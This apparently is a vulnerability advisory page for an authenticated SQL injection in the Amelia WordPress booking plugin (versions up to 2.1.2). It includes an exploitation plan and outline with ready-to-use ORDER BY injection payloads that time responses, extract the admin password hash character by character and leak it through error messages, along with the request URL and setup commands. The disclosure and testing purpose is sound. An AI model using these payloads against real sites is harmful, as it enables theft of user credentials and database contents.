Amelia <= 2.1.2 - Authenticated (Manager+) SQL Injection via 'sort' Parameter
Description
The Booking for Appointments and Events Calendar - Amelia plugin for WordPress is vulnerable to SQL Injection via the `sort` parameter in the payments listing endpoint in all versions up to, and including, 2.1.2. This is due to insufficient escaping on the user-supplied `sort` parameter and lack of sufficient preparation on the existing SQL query in `PaymentRepository.php`, where the sort field is interpolated directly into an ORDER BY clause without sanitization or whitelist validation. PDO prepared statements do not protect ORDER BY column names. GET requests also skip Amelia's nonce validation entirely. This makes it possible for authenticated attackers, with Manager-level (`wpamelia-manager`) access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database via time-based blind SQL injection.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=2.1.2What Changed in the Fix
Changes introduced in v2.1.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-4668 (Amelia SQL Injection) ## 1. Vulnerability Summary The Amelia Booking plugin for WordPress is vulnerable to an authenticated SQL injection via the `sort` parameter in its payments listing API endpoint. The vulnerability exists in `PaymentRepository.php`,…
Show full research plan
Exploitation Research Plan - CVE-2026-4668 (Amelia SQL Injection)
1. Vulnerability Summary
The Amelia Booking plugin for WordPress is vulnerable to an authenticated SQL injection via the sort parameter in its payments listing API endpoint. The vulnerability exists in PaymentRepository.php, where the sort parameter provided by the user is directly interpolated into an SQL ORDER BY clause without sufficient sanitization, escaping, or whitelist validation. Because PDO prepared statements do not support parameterization of column names or identifiers in the ORDER BY clause, the input remains active SQL. Furthermore, GET requests to the Amelia API skip nonce validation, allowing authenticated users with the wpamelia-manager role to perform time-based blind SQL injection.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php?action=wpamelia_api&call=/payments - Method:
GET(Specifically used to bypass nonce validation as mentioned in the description). - Vulnerable Parameter:
sort - Required Role:
wpamelia-manager(Manager level and above). - Preconditions: The plugin must be active, and at least one payment record should ideally exist in the database to ensure the
ORDER BYclause is evaluated during query execution.
3. Code Flow
- Entry Point: A
GETrequest is sent toadmin-ajax.phpwithaction=wpamelia_api. - Hook Registration:
Plugin::wpAmeliaApiCall()is triggered by thewp_ajax_wpamelia_apiandwp_ajax_nopriv_wpamelia_apihooks (via theAMELIA_ACTION_SLUGdefined inameliabooking.php). - Routing:
Plugin::wpAmeliaApiCall()initializes the Slim application and callsRoutes::routes($app, $container). - Endpoint Dispatch: The Slim router matches the
call=/paymentsparameter to the payment listing controller. - Processing: The request reaches
PaymentApplicationServiceand eventuallyPaymentRepository. - Sink: In
PaymentRepository.php, the value of thesortparameter is retrieved from the request and concatenated directly into the$querystring before being executed via$this->db->query()or$this->db->get_results().- Conceptual Sink:
$sql = "SELECT ... FROM ... ORDER BY " . $params['sort'] . " " . $params['order'];
- Conceptual Sink:
4. Nonce Acquisition Strategy
According to the vulnerability description: "GET requests also skip Amelia's nonce validation entirely."
Therefore, no nonce acquisition is required for this specific exploit. The attacker only needs a valid session cookie for a user with the wpamelia-manager capability.
5. Exploitation Strategy
The goal is to demonstrate a time-based blind SQL injection by inducing a 5-second delay.
Step 1: Authentication
Authenticate as a user with the wpamelia-manager role and capture the session cookies.
Step 2: Trigger Time-Based Injection
Construct a request to the /payments endpoint. We will inject a subquery into the sort parameter that triggers SLEEP().
Payload Structure:id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)
Full Request:
- URL:
http://localhost:8080/wp-admin/admin-ajax.php?action=wpamelia_api&call=/payments&sort=id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)&order=ASC - Method:
GET - Headers:
Cookie: [Manager_Cookies]X-Requested-With: XMLHttpRequest
Step 3: Data Extraction (Proof of Concept)
To prove data can be extracted, we can use a conditional sleep to check if the first character of the admin's password hash (typically $P$ for phpass or $wp$ for bcrypt) matches a specific character.
Payload:sort=IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)=0x24,SLEEP(5),id)
(0x24 is '$')
6. Test Data Setup
- Create Manager User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password wp user cap add attacker wpamelia-manager - Ensure Payment Data Exists:
TheORDER BYclause must execute. If thewp_amelia_paymentstable is empty, the injection might not trigger a delay in some MySQL versions.# Create a dummy customer wp db query "INSERT INTO wp_amelia_users (firstName, lastName, email, type) VALUES ('Test', 'Customer', 'customer@example.com', 'customer');" # Get the ID of the inserted user (assume 2) # Create a dummy payment record wp db query "INSERT INTO wp_amelia_payments (amount, dateTime, status, customerId, type) VALUES (10.00, NOW(), 'paid', 2, 'appointment');"
7. Expected Results
- Baseline Request: A request with
sort=idshould return immediately (e.g., < 200ms). - Attack Request: A request with the
SLEEP(5)payload should take approximately 5 seconds to respond. - Response Body: Should contain a JSON object representing the payments list (even if empty, the time delay confirms the injection).
8. Verification Steps
- Time measurement: Use the
http_requesttool's response metadata to confirmelapsed_time>= 5.0 seconds. - Database Integrity: Verify that the dummy payment exists using:
wp db query "SELECT count(*) FROM wp_amelia_payments;" - Error Check: Check
wp-content/debug.log(if enabled) to see if the query failed or if the injection was logged.
9. Alternative Approaches
If the ORDER BY injection requires a more complex syntax, try:
- Boolean-based:
sort=(CASE WHEN (1=1) THEN id ELSE amount END). Compare the order of results when the condition is true vs. false. - Alternative Time-based Syntax:
sort=id AND (SELECT 2134 FROM (SELECT(SLEEP(5)))b)sort=SLEEP(5)(If the query allows a raw function call in ORDER BY).
- Error-based (if
WP_DEBUGis on):sort=updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)
Summary
The Amelia Booking plugin for WordPress is vulnerable to an authenticated time-based blind SQL injection via the 'sort' parameter in its payments listing API endpoint. This occurs because the plugin directly interpolates user-supplied sort criteria into an SQL ORDER BY clause without sufficient validation or whitelisting. Authenticated users with Manager-level permissions or higher can exploit this, as GET requests to the Amelia API skip nonce validation entirely.
Security Fix
@@ -3,7 +3,7 @@ Plugin Name: Amelia Plugin URI: https://wpamelia.com/ Description: Amelia is a simple yet powerful automated booking specialist, working 24/7 to make sure your customers can make appointments and events even while you sleep! -Version: 2.1.2 +Version: 2.1.3 Author: Melograno Ventures Author URI: https://melograno.io/ Text Domain: ameliabooking @@ -109,7 +111,7 @@ // Const for Amelia version if (!defined('AMELIA_VERSION')) { - define('AMELIA_VERSION', '2.1.2'); + define('AMELIA_VERSION', '2.1.3'); } // Const for site URL ... (truncated)
Exploit Outline
1. Authenticate to the WordPress site as a user with the 'wpamelia-manager' role. 2. Access the payments listing endpoint at '/wp-admin/admin-ajax.php?action=wpamelia_api&call=/payments' using a GET request (to bypass nonce checks). 3. Use the 'sort' parameter to inject a time-based SQL payload into the ORDER BY clause, such as: 'id,(SELECT 1 FROM (SELECT(SLEEP(5)))a)'. 4. Observe the response delay; a delay of approximately 5 seconds confirms the existence of the vulnerability. 5. To extract data, utilize conditional logic within the injection (e.g., 'IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)=char(36),SLEEP(5),id)') to leak database contents character-by-character based on the presence or absence of a response delay.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.